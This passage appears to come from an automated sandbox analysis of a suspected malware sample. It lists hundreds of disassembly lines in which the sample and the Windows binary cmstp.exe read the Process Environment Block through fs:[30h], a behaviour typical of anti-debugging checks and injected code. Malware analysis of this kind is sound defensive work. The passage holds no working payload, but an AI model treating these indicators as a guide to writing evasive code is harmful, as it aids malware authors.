Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A25210 mov ecx, dword ptr fs:[00000030h] 2_2_00A25210
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A25210 mov eax, dword ptr fs:[00000030h] 2_2_00A25210
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A25210 mov eax, dword ptr fs:[00000030h] 2_2_00A25210
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A2AA16 mov eax, dword ptr fs:[00000030h] 2_2_00A2AA16
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A2AA16 mov eax, dword ptr fs:[00000030h] 2_2_00A2AA16
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A43A1C mov eax, dword ptr fs:[00000030h] 2_2_00A43A1C
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AEAA16 mov eax, dword ptr fs:[00000030h] 2_2_00AEAA16
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AEAA16 mov eax, dword ptr fs:[00000030h] 2_2_00AEAA16
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00ADB260 mov eax, dword ptr fs:[00000030h] 2_2_00ADB260
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00ADB260 mov eax, dword ptr fs:[00000030h] 2_2_00ADB260
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF8A62 mov eax, dword ptr fs:[00000030h] 2_2_00AF8A62
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A6927A mov eax, dword ptr fs:[00000030h] 2_2_00A6927A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A29240 mov eax, dword ptr fs:[00000030h] 2_2_00A29240
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A29240 mov eax, dword ptr fs:[00000030h] 2_2_00A29240
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A29240 mov eax, dword ptr fs:[00000030h] 2_2_00A29240
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A29240 mov eax, dword ptr fs:[00000030h] 2_2_00A29240
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AEEA55 mov eax, dword ptr fs:[00000030h] 2_2_00AEEA55
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AB4257 mov eax, dword ptr fs:[00000030h] 2_2_00AB4257
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A54BAD mov eax, dword ptr fs:[00000030h] 2_2_00A54BAD
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A54BAD mov eax, dword ptr fs:[00000030h] 2_2_00A54BAD
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A54BAD mov eax, dword ptr fs:[00000030h] 2_2_00A54BAD
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF5BA5 mov eax, dword ptr fs:[00000030h] 2_2_00AF5BA5
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE138A mov eax, dword ptr fs:[00000030h] 2_2_00AE138A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A31B8F mov eax, dword ptr fs:[00000030h] 2_2_00A31B8F
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A31B8F mov eax, dword ptr fs:[00000030h] 2_2_00A31B8F
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00ADD380 mov ecx, dword ptr fs:[00000030h] 2_2_00ADD380
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A52397 mov eax, dword ptr fs:[00000030h] 2_2_00A52397
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5B390 mov eax, dword ptr fs:[00000030h] 2_2_00A5B390
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A503E2 mov eax, dword ptr fs:[00000030h] 2_2_00A503E2
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A503E2 mov eax, dword ptr fs:[00000030h] 2_2_00A503E2
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A503E2 mov eax, dword ptr fs:[00000030h] 2_2_00A503E2
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A503E2 mov eax, dword ptr fs:[00000030h] 2_2_00A503E2
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A503E2 mov eax, dword ptr fs:[00000030h] 2_2_00A503E2
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A503E2 mov eax, dword ptr fs:[00000030h] 2_2_00A503E2
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A4DBE9 mov eax, dword ptr fs:[00000030h] 2_2_00A4DBE9
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA53CA mov eax, dword ptr fs:[00000030h] 2_2_00AA53CA
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA53CA mov eax, dword ptr fs:[00000030h] 2_2_00AA53CA
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE131B mov eax, dword ptr fs:[00000030h] 2_2_00AE131B
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A2DB60 mov ecx, dword ptr fs:[00000030h] 2_2_00A2DB60
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A53B7A mov eax, dword ptr fs:[00000030h] 2_2_00A53B7A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A53B7A mov eax, dword ptr fs:[00000030h] 2_2_00A53B7A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A2DB40 mov eax, dword ptr fs:[00000030h] 2_2_00A2DB40
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF8B58 mov eax, dword ptr fs:[00000030h] 2_2_00AF8B58
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A2F358 mov eax, dword ptr fs:[00000030h] 2_2_00A2F358
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A3849B mov eax, dword ptr fs:[00000030h] 2_2_00A3849B
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE14FB mov eax, dword ptr fs:[00000030h] 2_2_00AE14FB
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA6CF0 mov eax, dword ptr fs:[00000030h] 2_2_00AA6CF0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA6CF0 mov eax, dword ptr fs:[00000030h] 2_2_00AA6CF0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA6CF0 mov eax, dword ptr fs:[00000030h] 2_2_00AA6CF0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF8CD6 mov eax, dword ptr fs:[00000030h] 2_2_00AF8CD6
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5BC2C mov eax, dword ptr fs:[00000030h] 2_2_00A5BC2C
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA6C0A mov eax, dword ptr fs:[00000030h] 2_2_00AA6C0A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA6C0A mov eax, dword ptr fs:[00000030h] 2_2_00AA6C0A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA6C0A mov eax, dword ptr fs:[00000030h] 2_2_00AA6C0A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA6C0A mov eax, dword ptr fs:[00000030h] 2_2_00AA6C0A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF740D mov eax, dword ptr fs:[00000030h] 2_2_00AF740D
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF740D mov eax, dword ptr fs:[00000030h] 2_2_00AF740D
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF740D mov eax, dword ptr fs:[00000030h] 2_2_00AF740D
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE1C06 mov eax, dword ptr fs:[00000030h] 2_2_00AE1C06
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE1C06 mov eax, dword ptr fs:[00000030h] 2_2_00AE1C06
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE1C06 mov eax, dword ptr fs:[00000030h] 2_2_00AE1C06
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE1C06 mov eax, dword ptr fs:[00000030h] 2_2_00AE1C06
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE1C06 mov eax, dword ptr fs:[00000030h] 2_2_00AE1C06
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE1C06 mov eax, dword ptr fs:[00000030h] 2_2_00AE1C06
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE1C06 mov eax, dword ptr fs:[00000030h] 2_2_00AE1C06
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE1C06 mov eax, dword ptr fs:[00000030h] 2_2_00AE1C06
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE1C06 mov eax, dword ptr fs:[00000030h] 2_2_00AE1C06
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE1C06 mov eax, dword ptr fs:[00000030h] 2_2_00AE1C06
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE1C06 mov eax, dword ptr fs:[00000030h] 2_2_00AE1C06
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE1C06 mov eax, dword ptr fs:[00000030h] 2_2_00AE1C06
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE1C06 mov eax, dword ptr fs:[00000030h] 2_2_00AE1C06
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE1C06 mov eax, dword ptr fs:[00000030h] 2_2_00AE1C06
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A4746D mov eax, dword ptr fs:[00000030h] 2_2_00A4746D
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5A44B mov eax, dword ptr fs:[00000030h] 2_2_00A5A44B
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00ABC450 mov eax, dword ptr fs:[00000030h] 2_2_00ABC450
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00ABC450 mov eax, dword ptr fs:[00000030h] 2_2_00ABC450
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF05AC mov eax, dword ptr fs:[00000030h] 2_2_00AF05AC
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF05AC mov eax, dword ptr fs:[00000030h] 2_2_00AF05AC
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A535A1 mov eax, dword ptr fs:[00000030h] 2_2_00A535A1
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A51DB5 mov eax, dword ptr fs:[00000030h] 2_2_00A51DB5
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A51DB5 mov eax, dword ptr fs:[00000030h] 2_2_00A51DB5
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A51DB5 mov eax, dword ptr fs:[00000030h] 2_2_00A51DB5
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A52581 mov eax, dword ptr fs:[00000030h] 2_2_00A52581
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A52581 mov eax, dword ptr fs:[00000030h] 2_2_00A52581
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A52581 mov eax, dword ptr fs:[00000030h] 2_2_00A52581
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A52581 mov eax, dword ptr fs:[00000030h] 2_2_00A52581
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A22D8A mov eax, dword ptr fs:[00000030h] 2_2_00A22D8A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A22D8A mov eax, dword ptr fs:[00000030h] 2_2_00A22D8A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A22D8A mov eax, dword ptr fs:[00000030h] 2_2_00A22D8A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A22D8A mov eax, dword ptr fs:[00000030h] 2_2_00A22D8A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A22D8A mov eax, dword ptr fs:[00000030h] 2_2_00A22D8A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5FD9B mov eax, dword ptr fs:[00000030h] 2_2_00A5FD9B
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5FD9B mov eax, dword ptr fs:[00000030h] 2_2_00A5FD9B
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A3D5E0 mov eax, dword ptr fs:[00000030h] 2_2_00A3D5E0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A3D5E0 mov eax, dword ptr fs:[00000030h] 2_2_00A3D5E0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AEFDE2 mov eax, dword ptr fs:[00000030h] 2_2_00AEFDE2
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AEFDE2 mov eax, dword ptr fs:[00000030h] 2_2_00AEFDE2
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AEFDE2 mov eax, dword ptr fs:[00000030h] 2_2_00AEFDE2
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AEFDE2 mov eax, dword ptr fs:[00000030h] 2_2_00AEFDE2
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AD8DF1 mov eax, dword ptr fs:[00000030h] 2_2_00AD8DF1
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA6DC9 mov eax, dword ptr fs:[00000030h] 2_2_00AA6DC9
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA6DC9 mov eax, dword ptr fs:[00000030h] 2_2_00AA6DC9
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA6DC9 mov eax, dword ptr fs:[00000030h] 2_2_00AA6DC9
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA6DC9 mov ecx, dword ptr fs:[00000030h] 2_2_00AA6DC9
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA6DC9 mov eax, dword ptr fs:[00000030h] 2_2_00AA6DC9
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA6DC9 mov eax, dword ptr fs:[00000030h] 2_2_00AA6DC9
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A2AD30 mov eax, dword ptr fs:[00000030h] 2_2_00A2AD30
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A33D34 mov eax, dword ptr fs:[00000030h] 2_2_00A33D34
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A33D34 mov eax, dword ptr fs:[00000030h] 2_2_00A33D34
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A33D34 mov eax, dword ptr fs:[00000030h] 2_2_00A33D34
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A33D34 mov eax, dword ptr fs:[00000030h] 2_2_00A33D34
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A33D34 mov eax, dword ptr fs:[00000030h] 2_2_00A33D34
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A33D34 mov eax, dword ptr fs:[00000030h] 2_2_00A33D34
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A33D34 mov eax, dword ptr fs:[00000030h] 2_2_00A33D34
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A33D34 mov eax, dword ptr fs:[00000030h] 2_2_00A33D34
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A33D34 mov eax, dword ptr fs:[00000030h] 2_2_00A33D34
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A33D34 mov eax, dword ptr fs:[00000030h] 2_2_00A33D34
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A33D34 mov eax, dword ptr fs:[00000030h] 2_2_00A33D34
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A33D34 mov eax, dword ptr fs:[00000030h] 2_2_00A33D34
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A33D34 mov eax, dword ptr fs:[00000030h] 2_2_00A33D34
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AEE539 mov eax, dword ptr fs:[00000030h] 2_2_00AEE539
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF8D34 mov eax, dword ptr fs:[00000030h] 2_2_00AF8D34
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AAA537 mov eax, dword ptr fs:[00000030h] 2_2_00AAA537
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A54D3B mov eax, dword ptr fs:[00000030h] 2_2_00A54D3B
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A54D3B mov eax, dword ptr fs:[00000030h] 2_2_00A54D3B
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A54D3B mov eax, dword ptr fs:[00000030h] 2_2_00A54D3B
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A4C577 mov eax, dword ptr fs:[00000030h] 2_2_00A4C577
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A4C577 mov eax, dword ptr fs:[00000030h] 2_2_00A4C577
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A63D43 mov eax, dword ptr fs:[00000030h] 2_2_00A63D43
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA3540 mov eax, dword ptr fs:[00000030h] 2_2_00AA3540
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AD3D40 mov eax, dword ptr fs:[00000030h] 2_2_00AD3D40
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A47D50 mov eax, dword ptr fs:[00000030h] 2_2_00A47D50
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF0EA5 mov eax, dword ptr fs:[00000030h] 2_2_00AF0EA5
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF0EA5 mov eax, dword ptr fs:[00000030h] 2_2_00AF0EA5
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF0EA5 mov eax, dword ptr fs:[00000030h] 2_2_00AF0EA5
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA46A7 mov eax, dword ptr fs:[00000030h] 2_2_00AA46A7
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00ABFE87 mov eax, dword ptr fs:[00000030h] 2_2_00ABFE87
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A376E2 mov eax, dword ptr fs:[00000030h] 2_2_00A376E2
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A516E0 mov ecx, dword ptr fs:[00000030h] 2_2_00A516E0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A68EC7 mov eax, dword ptr fs:[00000030h] 2_2_00A68EC7
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A536CC mov eax, dword ptr fs:[00000030h] 2_2_00A536CC
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00ADFEC0 mov eax, dword ptr fs:[00000030h] 2_2_00ADFEC0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF8ED6 mov eax, dword ptr fs:[00000030h] 2_2_00AF8ED6
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A2E620 mov eax, dword ptr fs:[00000030h] 2_2_00A2E620
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00ADFE3F mov eax, dword ptr fs:[00000030h] 2_2_00ADFE3F
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A2C600 mov eax, dword ptr fs:[00000030h] 2_2_00A2C600
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A2C600 mov eax, dword ptr fs:[00000030h] 2_2_00A2C600
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A2C600 mov eax, dword ptr fs:[00000030h] 2_2_00A2C600
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A58E00 mov eax, dword ptr fs:[00000030h] 2_2_00A58E00
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE1608 mov eax, dword ptr fs:[00000030h] 2_2_00AE1608
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5A61C mov eax, dword ptr fs:[00000030h] 2_2_00A5A61C
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5A61C mov eax, dword ptr fs:[00000030h] 2_2_00A5A61C
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A3766D mov eax, dword ptr fs:[00000030h] 2_2_00A3766D
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A4AE73 mov eax, dword ptr fs:[00000030h] 2_2_00A4AE73
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A4AE73 mov eax, dword ptr fs:[00000030h] 2_2_00A4AE73
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A4AE73 mov eax, dword ptr fs:[00000030h] 2_2_00A4AE73
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A4AE73 mov eax, dword ptr fs:[00000030h] 2_2_00A4AE73
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A4AE73 mov eax, dword ptr fs:[00000030h] 2_2_00A4AE73
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A37E41 mov eax, dword ptr fs:[00000030h] 2_2_00A37E41
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A37E41 mov eax, dword ptr fs:[00000030h] 2_2_00A37E41
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A37E41 mov eax, dword ptr fs:[00000030h] 2_2_00A37E41
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A37E41 mov eax, dword ptr fs:[00000030h] 2_2_00A37E41
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A37E41 mov eax, dword ptr fs:[00000030h] 2_2_00A37E41
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A37E41 mov eax, dword ptr fs:[00000030h] 2_2_00A37E41
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AEAE44 mov eax, dword ptr fs:[00000030h] 2_2_00AEAE44
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AEAE44 mov eax, dword ptr fs:[00000030h] 2_2_00AEAE44
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A38794 mov eax, dword ptr fs:[00000030h] 2_2_00A38794
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA7794 mov eax, dword ptr fs:[00000030h] 2_2_00AA7794
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA7794 mov eax, dword ptr fs:[00000030h] 2_2_00AA7794
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AA7794 mov eax, dword ptr fs:[00000030h] 2_2_00AA7794
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A637F5 mov eax, dword ptr fs:[00000030h] 2_2_00A637F5
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A24F2E mov eax, dword ptr fs:[00000030h] 2_2_00A24F2E
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A24F2E mov eax, dword ptr fs:[00000030h] 2_2_00A24F2E
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5E730 mov eax, dword ptr fs:[00000030h] 2_2_00A5E730
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04732073 mov eax, dword ptr fs:[00000030h] 7_2_04732073
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04741074 mov eax, dword ptr fs:[00000030h] 7_2_04741074
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0469746D mov eax, dword ptr fs:[00000030h] 7_2_0469746D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0470C450 mov eax, dword ptr fs:[00000030h] 7_2_0470C450
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0470C450 mov eax, dword ptr fs:[00000030h] 7_2_0470C450
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046AA44B mov eax, dword ptr fs:[00000030h] 7_2_046AA44B
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04690050 mov eax, dword ptr fs:[00000030h] 7_2_04690050
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04690050 mov eax, dword ptr fs:[00000030h] 7_2_04690050
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0468B02A mov eax, dword ptr fs:[00000030h] 7_2_0468B02A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0468B02A mov eax, dword ptr fs:[00000030h] 7_2_0468B02A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0468B02A mov eax, dword ptr fs:[00000030h] 7_2_0468B02A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0468B02A mov eax, dword ptr fs:[00000030h] 7_2_0468B02A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046ABC2C mov eax, dword ptr fs:[00000030h] 7_2_046ABC2C
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A002D mov eax, dword ptr fs:[00000030h] 7_2_046A002D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A002D mov eax, dword ptr fs:[00000030h] 7_2_046A002D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A002D mov eax, dword ptr fs:[00000030h] 7_2_046A002D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A002D mov eax, dword ptr fs:[00000030h] 7_2_046A002D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A002D mov eax, dword ptr fs:[00000030h] 7_2_046A002D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04744015 mov eax, dword ptr fs:[00000030h] 7_2_04744015
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04744015 mov eax, dword ptr fs:[00000030h] 7_2_04744015
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F6C0A mov eax, dword ptr fs:[00000030h] 7_2_046F6C0A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F6C0A mov eax, dword ptr fs:[00000030h] 7_2_046F6C0A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F6C0A mov eax, dword ptr fs:[00000030h] 7_2_046F6C0A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046F6C0A mov eax, dword ptr fs:[00000030h] 7_2_046F6C0A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04731C06 mov eax, dword ptr fs:[00000030h] 7_2_04731C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04731C06 mov eax, dword ptr fs:[00000030h] 7_2_04731C06
